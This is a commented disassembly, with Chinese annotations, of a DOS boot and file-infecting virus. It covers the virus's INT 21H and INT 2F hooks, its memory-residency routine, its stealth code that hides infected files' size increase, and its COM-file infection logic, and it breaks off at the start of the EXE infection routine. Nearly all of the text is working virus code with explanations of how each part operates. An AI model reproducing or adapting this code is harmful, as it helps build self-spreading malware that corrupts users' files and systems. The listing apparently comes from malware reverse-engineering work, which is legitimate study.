F6C8:043F C606C00D3C    MOV     BYTE PTR [0DC0],3C
F6C8:0444 50            PUSH    AX
F6C8:0445 55            PUSH    BP
F6C8:0446 8BEC          MOV     BP,SP
F6C8:0448 80FC11        CMP     AH,11		;模拟原 INT 2F 功能
F6C8:044B 7404          JZ      0451		;CMP AH,11/JNZ xxxx
F6C8:044D 8346040A      ADD     WORD PTR [BP+04],+0A
F6C8:0451 8B460A        MOV     AX,[BP+0A]	;取调用 INT 2F 之地址
F6C8:0454 8CCD          MOV     BP,CS		;如果是病毒自己调用
F6C8:0456 3BC5          CMP     AX,BP		;转原 INT 2F
F6C8:0458 5D            POP     BP
F6C8:0459 58            POP     AX
F6C8:045A 740C          JZ      0468		;
F6C8:045C 3D1612        CMP     AX,1216		;非病毒自己调用
F6C8:045F 7507          JNZ     0468		;则将 1216 功能
F6C8:0461 83C404        ADD     SP,+04		;屏蔽, 出错返回
F6C8:0464 F9            STC
F6C8:0465 CA0200        RETF    0002
F6C8:0468 CB            RETF
;==========================================================================
;BOOT 引入时执行 INT 21H 时先执行本子程序
;功能为在第一次执行可执行程序时申请内存块驻留
F6C8:0469 80FC4B        CMP     AH,4B		;非执行程序退出
F6C8:046C 7401          JZ      046F
F6C8:046E C3            RET
F6C8:046F 60            PUSHA
F6C8:0470 1E            PUSH    DS
F6C8:0471 06            PUSH    ES
F6C8:0472 0AC0          OR      AL,AL
F6C8:0474 7428          JZ      049E		;执行文件转 049E
F6C8:0476 8BF2          MOV     SI,DX		;装入设备驱动程序
F6C8:0478 AC            LODSB
F6C8:0479 0AC0          OR      AL,AL
F6C8:047B 75FB          JNZ     0478
F6C8:047D 817CF74D33    CMP     WORD PTR [SI-09],334D
F6C8:0482 7517          JNZ     049B
F6C8:0484 817CF45145    CMP     WORD PTR [SI-0C],4551
F6C8:0489 7510          JNZ     049B
F6C8:048B E89CFD        CALL    022A		;如果装入 QEMM386.SYS
F6C8:048E B80013        MOV     AX,1300		;再次设置新 INT 13H
F6C8:0491 8BD3          MOV     DX,BX
F6C8:0493 CD2F          INT     2F      (Multiplex)
F6C8:0495 2E            CS:
F6C8:0496 C606FF00EB    MOV     BYTE PTR [00FF],EB
F6C8:049B E99B00        JMP     0539
F6C8:049E 2E            CS:			;执行程序时
F6C8:049F C606FF00EB    MOV     BYTE PTR [00FF],EB
F6C8:04A4 B452          MOV     AH,52		;取表之表地址
F6C8:04A6 E85108        CALL    0CFA
F6C8:04A9 26            ES:
F6C8:04AA 8B47FE        MOV     AX,[BX-02]	;取第一块 MCB 地址
F6C8:04AD E8C7FB        CALL    0077		;取最后一块 MCB 地址
F6C8:04B0 8EDB          MOV     DS,BX
F6C8:04B2 8BC3          MOV     AX,BX
F6C8:04B4 034503        ADD     AX,[DI+03]
F6C8:04B7 80FCA0        CMP     AH,A0
F6C8:04BA 760D          JBE     04C9		;不在 UMB 中转 04C9
F6C8:04BC 33F6          XOR     SI,SI		;在 UMB 中则驻留内存
F6C8:04BE E8CDFB        CALL    008E
F6C8:04C1 B9B004        MOV     CX,04B0
F6C8:04C4 F3            REPZ
F6C8:04C5 2E            CS:
F6C8:04C6 A4            MOVSB
F6C8:04C7 734B          JNB     0514
F6C8:04C9 B80058        MOV     AX,5800		;取内存分配策略
F6C8:04CC E82B08        CALL    0CFA
F6C8:04CF 50            PUSH    AX
F6C8:04D0 B80158        MOV     AX,5801		;设高到低寻找策略
F6C8:04D3 BB8000        MOV     BX,0080
F6C8:04D6 50            PUSH    AX
F6C8:04D7 E82008        CALL    0CFA
F6C8:04DA B80258        MOV     AX,5802		;得到 UMB 链状态
F6C8:04DD E81A08        CALL    0CFA
F6C8:04E0 32E4          XOR     AH,AH
F6C8:04E2 50            PUSH    AX
F6C8:04E3 B80358        MOV     AX,5803		;设新的 UMB 状态
F6C8:04E6 B301          MOV     BL,01		;为将 UMB 加入 DOS 内存链
F6C8:04E8 50            PUSH    AX
F6C8:04E9 E80E08        CALL    0CFA
F6C8:04EC B448          MOV     AH,48		;分配内存
F6C8:04EE BB3801        MOV     BX,0138
F6C8:04F1 E80608        CALL    0CFA
F6C8:04F4 95            XCHG    AX,BP
F6C8:04F5 58            POP     AX
F6C8:04F6 5B            POP     BX
F6C8:04F7 E80008        CALL    0CFA		;恢复分配内存策略
F6C8:04FA 58            POP     AX		;及恢复 UMB 状态
F6C8:04FB 5B            POP     BX
F6C8:04FC E8FB07        CALL    0CFA
F6C8:04FF 33FF          XOR     DI,DI
F6C8:0501 8EC5          MOV     ES,BP
F6C8:0503 4D            DEC     BP
F6C8:0504 8EDD          MOV     DS,BP		;将内存块改为 DOS 使用
F6C8:0506 C745010800    MOV     WORD PTR [DI+01],0008
F6C8:050B 33F6          XOR     SI,SI
F6C8:050D 0E            PUSH    CS
F6C8:050E 1F            POP     DS
F6C8:050F B97713        MOV     CX,1377
F6C8:0512 F3            REPZ
F6C8:0513 A4            MOVSB   		;驻留内存
F6C8:0514 0E            PUSH    CS
F6C8:0515 1F            POP     DS
F6C8:0516 8B3E4502      MOV     DI,[0245]	;将 INT 21 地址
F6C8:051A 8B365D11      MOV     SI,[115D]	;改到新的地址
F6C8:051E C51E5711      LDS     BX,[1157]
F6C8:0522 8C47FE        MOV     [BX-02],ES
F6C8:0525 8C4404        MOV     [SI+04],ES
F6C8:0528 8ED9          MOV     DS,CX
F6C8:052A 8C4502        MOV     [DI+02],ES
F6C8:052D 26            ES:
F6C8:052E C60604013C    MOV     BYTE PTR [0104],3C
F6C8:0533 26            ES:
F6C8:0534 C60658053D    MOV     BYTE PTR [0558],3D
F6C8:0539 07            POP     ES
F6C8:053A 1F            POP     DS
F6C8:053B 61            POPA
F6C8:053C C3            RET
;=========================================================================
;	新 INT 21H 代码部分
;=========================================================================
F6C8:053D 2E            CS:
F6C8:053E 8F065711      POP     WORD PTR [1157]	;保存返回地址
F6C8:0542 2E            CS:			;于 1157 (IP) 和 1159 (CS)
F6C8:0543 8F065911      POP     WORD PTR [1159]
F6C8:0547 9C            PUSHF
F6C8:0548 55            PUSH    BP
F6C8:0549 8BEC          MOV     BP,SP
F6C8:054B 817E045344    CMP     WORD PTR [BP+04],4453
F6C8:0550 5D            POP     BP
F6C8:0551 7504          JNZ     0557		;????
F6C8:0553 9D            POPF
F6C8:0554 44            INC     SP
F6C8:0555 44            INC     SP
F6C8:0556 C3            RET
F6C8:0557 9D            POPF
F6C8:0558 3D0EFF        CMP     AX,FF0E	====>	;BOOT 引入时
F6C8:055B 80FC11        CMP     AH,11		;本句代码为 CALL 0469
F6C8:055E 7235          JB      0595
F6C8:0560 80FC12        CMP     AH,12		;DOS 功能 11,12 (DIR 时使用)
F6C8:0563 7730          JA      0595		;则更改文件长度
F6C8:0565 E82308        CALL    0D8B		;调用原 INT 21 功能
F6C8:0568 0AC0          OR      AL,AL		;成功转 057B
F6C8:056A 740F          JZ      057B
F6C8:056C 50            PUSH    AX
F6C8:056D B81812        MOV     AX,1218		;INT 2F 之 1218 功能
F6C8:0570 E84D08        CALL    0DC0		;取 DOS 调用者寄存器
F6C8:0573 58            POP     AX
F6C8:0574 8904          MOV     [SI],AX		;修改返回值
F6C8:0576 2E            CS:			;返回调用处
F6C8:0577 FF2E5711      JMP     FAR DWORD PTR [1157]
F6C8:057B E86208        CALL    0DE0		;
F6C8:057E 74EC          JZ      056C
F6C8:0580 50            PUSH    AX
F6C8:0581 B42F          MOV     AH,2F
F6C8:0583 E87407        CALL    0CFA
F6C8:0586 26            ES:
F6C8:0587 803FFF        CMP     BYTE PTR [BX],FF
F6C8:058A 7503          JNZ     058F
F6C8:058C 83C307        ADD     BX,+07
F6C8:058F 43            INC     BX
F6C8:0590 BE0200        MOV     SI,0002
F6C8:0593 EB17          JMP     05AC
;==========================================================================
F6C8:0595 80FC4E        CMP     AH,4E
F6C8:0598 7239          JB      05D3
F6C8:059A 80FC4F        CMP     AH,4F
F6C8:059D 7734          JA      05D3
F6C8:059F E8E907        CALL    0D8B
F6C8:05A2 50            PUSH    AX
F6C8:05A3 722B          JB      05D0
F6C8:05A5 B42F          MOV     AH,2F
F6C8:05A7 E85007        CALL    0CFA
F6C8:05AA 33F6          XOR     SI,SI
F6C8:05AC E82808        CALL    0DD7
F6C8:05AF 741F          JZ      05D0
F6C8:05B1 06            PUSH    ES
F6C8:05B2 1F            POP     DS
F6C8:05B3 807F19C8      CMP     BYTE PTR [BX+19],C8
F6C8:05B7 7217          JB      05D0
F6C8:05B9 806F19C8      SUB     BYTE PTR [BX+19],C8
F6C8:05BD C4401A        LES     AX,[BX+SI+1A]
F6C8:05C0 8CC2          MOV     DX,ES
F6C8:05C2 2DC70E        SUB     AX,0EC7
F6C8:05C5 83DA00        SBB     DX,+00
F6C8:05C8 7206          JB      05D0
F6C8:05CA 89401A        MOV     [BX+SI+1A],AX
F6C8:05CD 89501C        MOV     [BX+SI+1C],DX
F6C8:05D0 58            POP     AX
F6C8:05D1 EB99          JMP     056C
;=========================================================================
F6C8:05D3 3D0242        CMP     AX,4202
F6C8:05D6 7526          JNZ     05FE
F6C8:05D8 E8FA06        CALL    0CD5
F6C8:05DB 7621          JBE     05FE
F6C8:05DD E8F707        CALL    0DD7
F6C8:05E0 741C          JZ      05FE
F6C8:05E2 816D11C70E    SUB     WORD PTR [DI+11],0EC7
F6C8:05E7 835D1300      SBB     WORD PTR [DI+13],+00
F6C8:05EB 57            PUSH    DI
F6C8:05EC 1E            PUSH    DS
F6C8:05ED E89B07        CALL    0D8B
F6C8:05F0 1F            POP     DS
F6C8:05F1 5F            POP     DI
F6C8:05F2 814511C70E    ADD     WORD PTR [DI+11],0EC7
F6C8:05F7 83551300      ADC     WORD PTR [DI+13],+00
F6C8:05FB E96EFF        JMP     056C
;==========================================================================
F6C8:05FE 80FC57        CMP     AH,57
F6C8:0601 7520          JNZ     0623
F6C8:0603 E8CF06        CALL    0CD5
F6C8:0606 761B          JBE     0623
F6C8:0608 E8CC07        CALL    0DD7
F6C8:060B 7416          JZ      0623
F6C8:060D 57            PUSH    DI
F6C8:060E 1E            PUSH    DS
F6C8:060F 0AC0          OR      AL,AL
F6C8:0611 7504          JNZ     0617
F6C8:0613 806D10C8      SUB     BYTE PTR [DI+10],C8
F6C8:0617 E87107        CALL    0D8B
F6C8:061A 1F            POP     DS
F6C8:061B 5F            POP     DI
F6C8:061C 804510C8      ADD     BYTE PTR [DI+10],C8
F6C8:0620 E949FF        JMP     056C
;===========================================================================
F6C8:0623 80FC3F        CMP     AH,3F
F6C8:0626 7403          JZ      062B
F6C8:0628 E94901        JMP     0774
F6C8:062B E8A907        CALL    0DD7		;新 INT 21 之 3F 功能
F6C8:062E 74F8          JZ      0628		;执行压缩文件跳过
F6C8:0630 1E            PUSH    DS
F6C8:0631 E8A106        CALL    0CD5		;取文件句柄表地址
F6C8:0634 1F            POP     DS
F6C8:0635 76F1          JBE     0628
F6C8:0637 2E            CS:
F6C8:0638 8C1E6B0C      MOV     [0C6B],DS
F6C8:063C 0E            PUSH    CS
F6C8:063D 1F            POP     DS
F6C8:063E 890E650C      MOV     [0C65],CX
F6C8:0642 8916680C      MOV     [0C68],DX
F6C8:0646 83266F0700    AND     WORD PTR [076F],0000
F6C8:064B 06            PUSH    ES
F6C8:064C 1F            POP     DS
F6C8:064D E85A06        CALL    0CAA		;测试当前文件指针
F6C8:0650 2D4000        SUB     AX,0040
F6C8:0653 83DA00        SBB     DX,+00
F6C8:0656 7320          JNB     0678		;非文件头 40H 字节转 0678
F6C8:0658 034511        ADD     AX,[DI+11]
F6C8:065B 135513        ADC     DX,[DI+13]
F6C8:065E 874515        XCHG    AX,[DI+15]
F6C8:0661 875517        XCHG    DX,[DI+17]
F6C8:0664 8BCA          MOV     CX,DX
F6C8:0666 92            XCHG    AX,DX
F6C8:0667 E8F205        CALL    0C5C
F6C8:066A 7303          JNB     066F
F6C8:066C E9FD00        JMP     076C
F6C8:066F 9C            PUSHF
F6C8:0670 03D0          ADD     DX,AX
F6C8:0672 E83F06        CALL    0CB4
F6C8:0675 9D            POPF
F6C8:0676 74F4          JZ      066C
F6C8:0678 06            PUSH    ES
F6C8:0679 E82E06        CALL    0CAA
F6C8:067C 50            PUSH    AX
F6C8:067D 52            PUSH    DX
F6C8:067E E83F06        CALL    0CC0
F6C8:0681 E86A05        CALL    0BEE
F6C8:0684 59            POP     CX
F6C8:0685 5A            POP     DX
F6C8:0686 9C            PUSHF
F6C8:0687 E82A06        CALL    0CB4
F6C8:068A 9D            POPF
F6C8:068B C406030F      LES     AX,[0F03]
F6C8:068F 8CC1          MOV     CX,ES
F6C8:0691 1F            POP     DS
F6C8:0692 7303          JNB     0697
F6C8:0694 E9BE00        JMP     0755
F6C8:0697 874511        XCHG    AX,[DI+11]
F6C8:069A 50            PUSH    AX
F6C8:069B 874D13        XCHG    CX,[DI+13]
F6C8:069E 51            PUSH    CX
F6C8:069F E8BA05        CALL    0C5C
F6C8:06A2 8F4513        POP     WORD PTR [DI+13]
F6C8:06A5 8F4511        POP     WORD PTR [DI+11]
F6C8:06A8 7703          JA      06AD
F6C8:06AA E9BF00        JMP     076C
F6C8:06AD E8FA05        CALL    0CAA
F6C8:06B0 0E            PUSH    CS
F6C8:06B1 1F            POP     DS
F6C8:06B2 2B06030F      SUB     AX,[0F03]
F6C8:06B6 1B16050F      SBB     DX,[0F05]
F6C8:06BA 753F          JNZ     06FB
F6C8:06BC 3D4800        CMP     AX,0048
F6C8:06BF 733A          JNB     06FB
F6C8:06C1 05070F        ADD     AX,0F07
F6C8:06C4 96            XCHG    AX,SI
F6C8:06C5 33C0          XOR     AX,AX
F6C8:06C7 8B3E680C      MOV     DI,[0C68]
F6C8:06CB 8E066B0C      MOV     ES,[0C6B]
F6C8:06CF 8B0E650C      MOV     CX,[0C65]
F6C8:06D3 E312          JCXZ    06E7
F6C8:06D5 81FE4F0F      CMP     SI,0F4F
F6C8:06D9 730C          JNB     06E7
F6C8:06DB A4            MOVSB
F6C8:06DC FF066F07      INC     WORD PTR [076F]
F6C8:06E0 FF06680C      INC     WORD PTR [0C68]
F6C8:06E4 40            INC     AX
F6C8:06E5 E2EE          LOOP    06D5
F6C8:06E7 890E650C      MOV     [0C65],CX
F6C8:06EB E8E705        CALL    0CD5
F6C8:06EE 014515        ADD     [DI+15],AX
F6C8:06F1 83551700      ADC     WORD PTR [DI+17],+00
F6C8:06F5 0BC9          OR      CX,CX
F6C8:06F7 7502          JNZ     06FB
F6C8:06F9 EB71          JMP     076C
F6C8:06FB 0E            PUSH    CS
F6C8:06FC 1F            POP     DS
F6C8:06FD A12B0F        MOV     AX,[0F2B]
F6C8:0700 33D2          XOR     DX,DX
F6C8:0702 050100        ADD     AX,0001
F6C8:0705 13D2          ADC     DX,DX
F6C8:0707 BE0800        MOV     SI,0008
F6C8:070A F7E6          MUL     SI
F6C8:070C 0306310F      ADD     AX,[0F31]
F6C8:0710 83D200        ADC     DX,+00
F6C8:0713 0306030F      ADD     AX,[0F03]
F6C8:0717 1316050F      ADC     DX,[0F05]
F6C8:071B E8B705        CALL    0CD5
F6C8:071E 3B5517        CMP     DX,[DI+17]
F6C8:0721 7232          JB      0755
F6C8:0723 7705          JA      072A
F6C8:0725 3B4515        CMP     AX,[DI+15]
F6C8:0728 762B          JBE     0755
F6C8:072A 2D0800        SUB     AX,0008
F6C8:072D 83DA00        SBB     DX,+00
F6C8:0730 874511        XCHG    AX,[DI+11]
F6C8:0733 50            PUSH    AX
F6C8:0734 875513        XCHG    DX,[DI+13]
F6C8:0737 52            PUSH    DX
F6C8:0738 836D1508      SUB     WORD PTR [DI+15],+08
F6C8:073C 835D1700      SBB     WORD PTR [DI+17],+00
F6C8:0740 E81905        CALL    0C5C
F6C8:0743 9C            PUSHF
F6C8:0744 83451508      ADD     WORD PTR [DI+15],+08
F6C8:0748 83551500      ADC     WORD PTR [DI+15],+00
F6C8:074C 9D            POPF
F6C8:074D 8F4513        POP     WORD PTR [DI+13]
F6C8:0750 8F4511        POP     WORD PTR [DI+11]
F6C8:0753 7617          JBE     076C
F6C8:0755 816D11C70E    SUB     WORD PTR [DI+11],0EC7
F6C8:075A 835D1300      SBB     WORD PTR [DI+13],+00
F6C8:075E E8FB04        CALL    0C5C
F6C8:0761 9C            PUSHF
F6C8:0762 814511C70E    ADD     WORD PTR [DI+11],0EC7
F6C8:0767 83551300      ADC     WORD PTR [DI+13],+00
F6C8:076B 9D            POPF
F6C8:076C 7203          JB      0771
F6C8:076E B875D5        MOV     AX,D575
F6C8:0771 E9F8FD        JMP     056C
;===========================================================================
F6C8:0774 60            PUSHA   		;病毒驻留检验
F6C8:0775 1E            PUSH    DS		;以 AX = 187F
F6C8:0776 06            PUSH    ES		;   BX = 4453 调用
F6C8:0777 3D7F18        CMP     AX,187F		;返回 AX = 434E
F6C8:077A 7514          JNZ     0790
F6C8:077C 81FB5344      CMP     BX,4453
F6C8:0780 750E          JNZ     0790
F6C8:0782 B81812        MOV     AX,1218		;取返回寄存器地址
F6C8:0785 E83806        CALL    0DC0		;修改返回 AX 值
F6C8:0788 8144024E43    ADD     WORD PTR [SI+02],434E
F6C8:078D E9C201        JMP     0952
;===========================================================================
F6C8:0790 80FC40        CMP     AH,40
F6C8:0793 7403          JZ      0798
F6C8:0795 E9F100        JMP     0889
F6C8:0798 E83A05        CALL    0CD5
F6C8:079B 76F8          JBE     0795
F6C8:079D E81604        CALL    0BB6
F6C8:07A0 FF7505        PUSH    WORD PTR [DI+05]
F6C8:07A3 C54515        LDS     AX,[DI+15]
F6C8:07A6 50            PUSH    AX
F6C8:07A7 1E            PUSH    DS
F6C8:07A8 E81505        CALL    0CC0
F6C8:07AB 7303          JNB     07B0
F6C8:07AD E9C800        JMP     0878
F6C8:07B0 E83B04        CALL    0BEE
F6C8:07B3 9C            PUSHF
F6C8:07B4 8306030F08    ADD     WORD PTR [0F03],+08
F6C8:07B9 8316050F00    ADC     WORD PTR [0F05],+00
F6C8:07BE 9D            POPF
F6C8:07BF 7303          JNB     07C4
F6C8:07C1 E99900        JMP     085D
F6C8:07C4 8B441C        MOV     AX,[SI+1C]
F6C8:07C7 33D2          XOR     DX,DX
F6C8:07C9 B90800        MOV     CX,0008
F6C8:07CC F7E1          MUL     CX
F6C8:07CE 034422        ADD     AX,[SI+22]
F6C8:07D1 83D200        ADC     DX,+00
F6C8:07D4 50            PUSH    AX
F6C8:07D5 52            PUSH    DX
F6C8:07D6 0306030F      ADD     AX,[0F03]
F6C8:07DA 1316050F      ADC     DX,[0F05]
F6C8:07DE 050002        ADD     AX,0200
F6C8:07E1 83D200        ADC     DX,+00
F6C8:07E4 8BCA          MOV     CX,DX
F6C8:07E6 92            XCHG    AX,DX
F6C8:07E7 E8CA04        CALL    0CB4
F6C8:07EA 5A            POP     DX
F6C8:07EB 58            POP     AX
F6C8:07EC 2D4000        SUB     AX,0040
F6C8:07EF 83DA00        SBB     DX,+00
F6C8:07F2 B90002        MOV     CX,0200
F6C8:07F5 F7F1          DIV     CX
F6C8:07F7 8BFA          MOV     DI,DX
F6C8:07F9 95            XCHG    AX,BP
F6C8:07FA 83ED01        SUB     BP,+01
F6C8:07FD 722E          JB      082D
F6C8:07FF B9FFFF        MOV     CX,FFFF
F6C8:0802 BAF8FB        MOV     DX,FBF8
F6C8:0805 E8AF04        CALL    0CB7
F6C8:0808 B43F          MOV     AH,3F
F6C8:080A B90002        MOV     CX,0200
F6C8:080D BA4F0F        MOV     DX,0F4F
F6C8:0810 E88C04        CALL    0C9F
F6C8:0813 7263          JB      0878
F6C8:0815 B9FFFF        MOV     CX,FFFF
F6C8:0818 BA08FE        MOV     DX,FE08
F6C8:081B E89904        CALL    0CB7
F6C8:081E B440          MOV     AH,40
F6C8:0820 B90002        MOV     CX,0200
F6C8:0823 BA4F0F        MOV     DX,0F4F
F6C8:0826 E87604        CALL    0C9F
F6C8:0829 73CF          JNB     07FA
F6C8:082B EB4B          JMP     0878
F6C8:082D B9FFFF        MOV     CX,FFFF
F6C8:0830 8D950802      LEA     DX,[DI+0208]
F6C8:0834 F7DA          NEG     DX
F6C8:0836 E87E04        CALL    0CB7
F6C8:0839 B43F          MOV     AH,3F
F6C8:083B 8BCF          MOV     CX,DI
F6C8:083D BA4F0F        MOV     DX,0F4F
F6C8:0840 E85C04        CALL    0C9F
F6C8:0843 7233          JB      0878
F6C8:0845 B9FFFF        MOV     CX,FFFF
F6C8:0848 8D5540        LEA     DX,[DI+40]
F6C8:084B F7DA          NEG     DX
F6C8:084D E86704        CALL    0CB7
F6C8:0850 B440          MOV     AH,40
F6C8:0852 8D4D48        LEA     CX,[DI+48]
F6C8:0855 BA070F        MOV     DX,0F07
F6C8:0858 E84404        CALL    0C9F
F6C8:085B 721B          JB      0878
F6C8:085D E83004        CALL    0C90
F6C8:0860 7216          JB      0878
F6C8:0862 B9FFFF        MOV     CX,FFFF
F6C8:0865 BA39F1        MOV     DX,F139
F6C8:0868 E84F04        CALL    0CBA
F6C8:086B B440          MOV     AH,40
F6C8:086D 41            INC     CX
F6C8:086E E88904        CALL    0CFA
F6C8:0871 E86104        CALL    0CD5
F6C8:0874 806D10C8      SUB     BYTE PTR [DI+10],C8
F6C8:0878 59            POP     CX
F6C8:0879 5A            POP     DX
F6C8:087A E83704        CALL    0CB4
F6C8:087D E85504        CALL    0CD5
F6C8:0880 8F4505        POP     WORD PTR [DI+05]
F6C8:0883 E85303        CALL    0BD9
F6C8:0886 E9C900        JMP     0952
;=========================================================================
F6C8:0889 80FC3E        CMP     AH,3E
F6C8:088C 750C          JNZ     089A
F6C8:088E E82503        CALL    0BB6
F6C8:0891 E8E100        CALL    0975
F6C8:0894 E84203        CALL    0BD9
F6C8:0897 E9B800        JMP     0952
;=========================================================================
F6C8:089A 80FC43        CMP     AH,43
F6C8:089D 7419          JZ      08B8
F6C8:089F 80FC56        CMP     AH,56
F6C8:08A2 7414          JZ      08B8
F6C8:08A4 3D004B        CMP     AX,4B00
F6C8:08A7 7205          JB      08AE
F6C8:08A9 3D054B        CMP     AX,4B05
F6C8:08AC 7603          JBE     08B1
F6C8:08AE E9A100        JMP     0952
F6C8:08B1 7505          JNZ     08B8
F6C8:08B3 8BF2          MOV     SI,DX
F6C8:08B5 C55404        LDS     DX,[SI+04]
;==========================================================================
F6C8:08B8 50            PUSH    AX
F6C8:08B9 E8FA02        CALL    0BB6
F6C8:08BC B8003D        MOV     AX,3D00
F6C8:08BF E83804        CALL    0CFA
F6C8:08C2 720F          JB      08D3
F6C8:08C4 93            XCHG    AX,BX
F6C8:08C5 53            PUSH    BX
F6C8:08C6 52            PUSH    DX
F6C8:08C7 1E            PUSH    DS
F6C8:08C8 E8AA00        CALL    0975
F6C8:08CB 1F            POP     DS
F6C8:08CC 5A            POP     DX
F6C8:08CD 5B            POP     BX
F6C8:08CE B43E          MOV     AH,3E
F6C8:08D0 E82704        CALL    0CFA
F6C8:08D3 E80303        CALL    0BD9
F6C8:08D6 58            POP     AX
F6C8:08D7 3D014B        CMP     AX,4B01
F6C8:08DA 751F          JNZ     08FB
F6C8:08DC 33ED          XOR     BP,BP
F6C8:08DE B8003D        MOV     AX,3D00
F6C8:08E1 E81604        CALL    0CFA
F6C8:08E4 7211          JB      08F7
F6C8:08E6 93            XCHG    AX,BX
F6C8:08E7 E8EB03        CALL    0CD5
F6C8:08EA 7606          JBE     08F2
F6C8:08EC E8D103        CALL    0CC0
F6C8:08EF 7201          JB      08F2
F6C8:08F1 45            INC     BP
F6C8:08F2 B43E          MOV     AH,3E
F6C8:08F4 E80304        CALL    0CFA
F6C8:08F7 0BED          OR      BP,BP
F6C8:08F9 7502          JNZ     08FD
F6C8:08FB EB55          JMP     0952
F6C8:08FD 07            POP     ES
F6C8:08FE 1F            POP     DS
F6C8:08FF 61            POPA
F6C8:0900 53            PUSH    BX
F6C8:0901 06            PUSH    ES
F6C8:0902 E88604        CALL    0D8B
F6C8:0905 07            POP     ES
F6C8:0906 5F            POP     DI
F6C8:0907 50            PUSH    AX
F6C8:0908 7304          JNB     090E
F6C8:090A 58            POP     AX
F6C8:090B E95EFC        JMP     056C
F6C8:090E B451          MOV     AH,51
F6C8:0910 CD21          INT     21      (DOS)
F6C8:0912 8BEB          MOV     BP,BX
F6C8:0914 BEC70E        MOV     SI,0EC7
F6C8:0917 0E            PUSH    CS
F6C8:0918 1F            POP     DS
F6C8:0919 AD            LODSW
F6C8:091A E88F02        CALL    0BAC
F6C8:091D 7409          JZ      0928
F6C8:091F 48            DEC     AX
F6C8:0920 26            ES:
F6C8:0921 C47D12        LES     DI,[DI+12]
F6C8:0924 AB            STOSW
F6C8:0925 A4            MOVSB
F6C8:0926 EBE2          JMP     090A
F6C8:0928 83C70E        ADD     DI,+0E
F6C8:092B 1E            PUSH    DS
F6C8:092C 26            ES:
F6C8:092D C51D          LDS     BX,[DI]
F6C8:092F 8B0F          MOV     CX,[BX]
F6C8:0931 1F            POP     DS
F6C8:0932 8B440E        MOV     AX,[SI+0E]
F6C8:0935 48            DEC     AX
F6C8:0936 48            DEC     AX
F6C8:0937 AB            STOSW
F6C8:0938 93            XCHG    AX,BX
F6C8:0939 8D4610        LEA     AX,[BP+10]
F6C8:093C 50            PUSH    AX
F6C8:093D 03440C        ADD     AX,[SI+0C]
F6C8:0940 AB            STOSW
F6C8:0941 1E            PUSH    DS
F6C8:0942 8ED8          MOV     DS,AX
F6C8:0944 890F          MOV     [BX],CX
F6C8:0946 1F            POP     DS
F6C8:0947 8B4412        MOV     AX,[SI+12]
F6C8:094A AB            STOSW
F6C8:094B 58            POP     AX
F6C8:094C 034414        ADD     AX,[SI+14]
F6C8:094F AB            STOSW
F6C8:0950 EBB8          JMP     090A
;==========================================================================
F6C8:0952 07            POP     ES
F6C8:0953 1F            POP     DS
F6C8:0954 61            POPA    		;INT 21 CALL SS:[XXXX]
F6C8:0955 2E            CS:			;的返回地址 (1157)
F6C8:0956 FF365711      PUSH    WORD PTR [1157]
F6C8:095A 55            PUSH    BP
F6C8:095B 2E            CS:
F6C8:095C 8B2E5311      MOV     BP,[1153]	;调用地址
F6C8:0960 8B6E00        MOV     BP,[BP+00]
F6C8:0963 2E            CS:
F6C8:0964 892E5711      MOV     [1157],BP
F6C8:0968 5D            POP     BP
F6C8:0969 2E            CS:
F6C8:096A FF365911      PUSH    WORD PTR [1159]	;调用 INT 21 的段地址
F6C8:096E 2E            CS:
F6C8:096F FF365711      PUSH    WORD PTR [1157]	;调用地址
F6C8:0973 CB            RETF    		;到原 INT 21 功能
F6C8:0974 C3            RET
;==========================================================================
F6C8:0975 E85D03        CALL    0CD5
F6C8:0978 72FA          JB      0974
F6C8:097A 75F8          JNZ     0974
F6C8:097C 833D01        CMP     WORD PTR [DI],+01
F6C8:097F 75F3          JNZ     0974
F6C8:0981 F645053E      TEST    BYTE PTR [DI+05],3E
F6C8:0985 7514          JNZ     099B
F6C8:0987 BAF503        MOV     DX,03F5
F6C8:098A B004          MOV     AL,04
F6C8:098C EE            OUT     DX,AL
F6C8:098D B504          MOV     CH,04
F6C8:098F E2FE          LOOP    098F
F6C8:0991 EE            OUT     DX,AL
F6C8:0992 B504          MOV     CH,04
F6C8:0994 E2FE          LOOP    0994
F6C8:0996 EC            IN      AL,DX
F6C8:0997 A840          TEST    AL,40
F6C8:0999 75D9          JNZ     0974
F6C8:099B B445          MOV     AH,45
F6C8:099D E85A03        CALL    0CFA
F6C8:09A0 72D2          JB      0974
F6C8:09A2 53            PUSH    BX
F6C8:09A3 93            XCHG    AX,BX
F6C8:09A4 B43E          MOV     AH,3E
F6C8:09A6 E85103        CALL    0CFA
F6C8:09A9 5B            POP     BX
F6C8:09AA 72C8          JB      0974
F6C8:09AC B80045        MOV     AX,4500
F6C8:09AF 864504        XCHG    AL,[DI+04]
F6C8:09B2 A81C          TEST    AL,1C
F6C8:09B4 75BE          JNZ     0974
F6C8:09B6 50            PUSH    AX
F6C8:09B7 99            CWD
F6C8:09B8 E83F03        CALL    0CFA
F6C8:09BB 93            XCHG    AX,BX
F6C8:09BC C745020200    MOV     WORD PTR [DI+02],0002
F6C8:09C1 B84300        MOV     AX,0043
F6C8:09C4 324528        XOR     AL,[DI+28]
F6C8:09C7 BD4F4D        MOV     BP,4D4F
F6C8:09CA 336D29        XOR     BP,[DI+29]
F6C8:09CD 0BE8          OR      BP,AX
F6C8:09CF E8BB02        CALL    0C8D
F6C8:09D2 7223          JB      09F7
F6C8:09D4 8BF2          MOV     SI,DX
F6C8:09D6 BF870E        MOV     DI,0E87
F6C8:09D9 0E            PUSH    CS
F6C8:09DA 07            POP     ES
F6C8:09DB F3            REPZ
F6C8:09DC A4            MOVSB
F6C8:09DD E8CD02        CALL    0CAD
F6C8:09E0 91            XCHG    AX,CX
F6C8:09E1 8B05          MOV     AX,[DI]
F6C8:09E3 E8C601        CALL    0BAC
F6C8:09E6 7420          JZ      0A08
F6C8:09E8 0BD5          OR      DX,BP
F6C8:09EA 750B          JNZ     09F7
F6C8:09EC B0E9          MOV     AL,E9
F6C8:09EE AA            STOSB
F6C8:09EF 91            XCHG    AX,CX
F6C8:09F0 2D0300        SUB     AX,0003
F6C8:09F3 AB            STOSW
F6C8:09F4 E98D01        JMP     0B84
F6C8:09F7 E8DB02        CALL    0CD5
F6C8:09FA 58            POP     AX
F6C8:09FB 884504        MOV     [DI+04],AL
F6C8:09FE 804D0640      OR      BYTE PTR [DI+06],40
F6C8:0A02 B43E          MOV     AH,3E
F6C8:0A04 E8F302        CALL    0CFA
F6C8:0A07 C3            RET
;=======================================================================
;	感染 .EXE 文件代码部分
;=======================================================================
F6C8:0A08 52            PUSH    DX
F6C8:0A09 51            PUSH    CX
